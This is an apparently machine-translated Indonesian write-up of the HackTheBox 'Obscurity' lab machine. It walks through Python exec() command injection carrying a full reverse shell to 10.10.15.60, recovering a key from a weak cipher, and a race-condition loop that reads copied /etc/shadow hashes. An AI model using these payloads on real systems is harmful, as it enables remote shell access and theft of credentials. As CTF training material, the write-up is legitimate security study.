Saya terus menerbitkan solusi yang dikirim untuk diproses lebih lanjut dari situs HackTheBox .Pada artikel ini, kami mengeksploitasi kerentanan dalam kode python dan juga melakukan serangan Kondisi Balap.Koneksi ke laboratorium adalah melalui VPN. Dianjurkan untuk tidak terhubung dari komputer kerja atau dari host di mana data penting bagi Anda tersedia, karena Anda masuk ke jaringan pribadi dengan orang-orang yang mengetahui sesuatu di bidang keamanan informasi :)Informasi Organisasi, ,
Telegram . , ,
.
. , - , .
Recon
Mesin ini memiliki alamat IP 10.10.10.168, yang saya tambahkan ke / etc / hosts.10.10.10.168 obscurity.htb
Pertama, kami memindai port terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, saya akan melakukan ini dengan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 500 paket per detik.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.168 --rate=500
Sekarang, untuk informasi lebih rinci tentang layanan yang beroperasi pada port, kami akan menjalankan pemindaian dengan opsi -A.nmap -A obscurity.htb -p22,8080
Tuan rumah menjalankan layanan SSH dan server web. Kami pergi menonton web.
Jadi, kami memiliki:- Server Perekaman
- Enkripsi digunakan
- Kode server dalam file SuperSecureServer.py di beberapa direktori yang tidak diketahui.
Karena kita tahu nama file, mari kita pergi melalui direktori. Mari kita lakukan dengan wfuzz. Sebagai parameter, kami meneruskan kamus, URL, dan kode respons untuk diabaikan.wfuzz -w /usr/share/dirb/wordlists/common.txt -u http://obscurity.htb:8080/FUZZ/SuperSecureServer.py --hc 404
Dan kami menemukan direktori ini. Mari unduh kode server.wget http://obscurity.htb:8080/develop/SuperSecureServer.py
Titik masuk
Kami membuka dan menganalisis server. Kami menemukan kemungkinan penggunaan fungsi exec () yang berbahaya.
Mari menambahkan beberapa baris ke kode.
Jadi kita dapat memulai server secara lokal dan melihat apa yang masuk ke fungsi exec (). Mari kita mulai server dan mengirim permintaan.curl http://127.0.0.1:33333/asd

curl "http://127.0.0.1:33333/asd'"

curl "http://127.0.0.1:33333/asd''"
Jadi, kami memiliki injeksi Perintah OS.curl "http://127.0.0.1:33333/asd';os.system(\"whoami\");'"
Kami akan menggunakan shell python terbalik berikut.import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.15.60",4321));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
Karena kode server sudah berisi impor modul yang diperlukan, kami menghapus impor mereka dari shell. Kami juga luput dari tanda kutip dan tanda kurung.curl "http://127.0.0.1:33333/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"
Baik! Semuanya berfungsi pada mesin lokal. Mari kita jalankan permintaan ini ke server.curl "http://obscurity.htb:8080/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"
Kami memiliki titik masuk.PENGGUNA
Kami melihat-lihat di server dan menemukan file yang dapat dibaca di direktori home pengguna.
Kami membaca file.
Dengan demikian, file-file tersebut dienkripsi. Unduh semua yang kami berikan kepada tuan rumah lokal. Seperti yang dinyatakan dalam pesan, file check.txt dienkripsi, dan hasilnya di out.txt. Mari kita lihat algoritma.
Dengan demikian, selama enkripsi, penambahan simbol teks dan simbol kunci modulo 255 terjadi.Ketika mendekripsi, simbol-simbol ini dikurangi.Yaitu, ([check.txt] + [key])% 255 = out.txt dan ([out.txt] - [key])% 255 = check.txt. Kemudian ([out.txt] - [check.txt])% 255 = kunci.
Dan lihat kuncinya.
Dan sekarang pada kunci ini kita mendekripsi kata sandi pengguna.
Kami terhubung melalui SSH dengan kata sandi ini dan mengambil bendera pengguna.
AKAR
Mari kita lihat pengaturan sudo, yaitu, apakah pengguna robert dapat menjalankan perintah apa pun di bawah sudo tanpa kata sandi.
Mari kita lihat kodenya. Kode akan membutuhkan data otentikasi. Kemudian ia menyalin isi file / etc / shadow ke direktori / tmp / SSH / *. Kemudian akan memverifikasi data otentikasi dan menghapus file.
Jadi, kita harus mengatur untuk menyalin file dari / tmp / SSH / * sebelum dihapus. Jalankan terminal kedua dan jalankan siklus baca tanpa akhir di dalamnya.for ((;;)) do cat /tmp/SSH/* 2>/dev/null && break ; done
Sekarang jalankan program, masukkan data apa saja dan lihat hash.sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Dan mereka mudah patah.
Kami mengambil bendera root.
Anda dapat bergabung dengan kami di Telegram . Di sana Anda dapat menemukan materi yang menarik, kursus yang digabungkan, serta perangkat lunak. Mari kita mengumpulkan komunitas di mana akan ada orang-orang yang berpengalaman dalam banyak bidang TI, maka kita selalu dapat saling membantu dalam masalah TI dan keamanan informasi.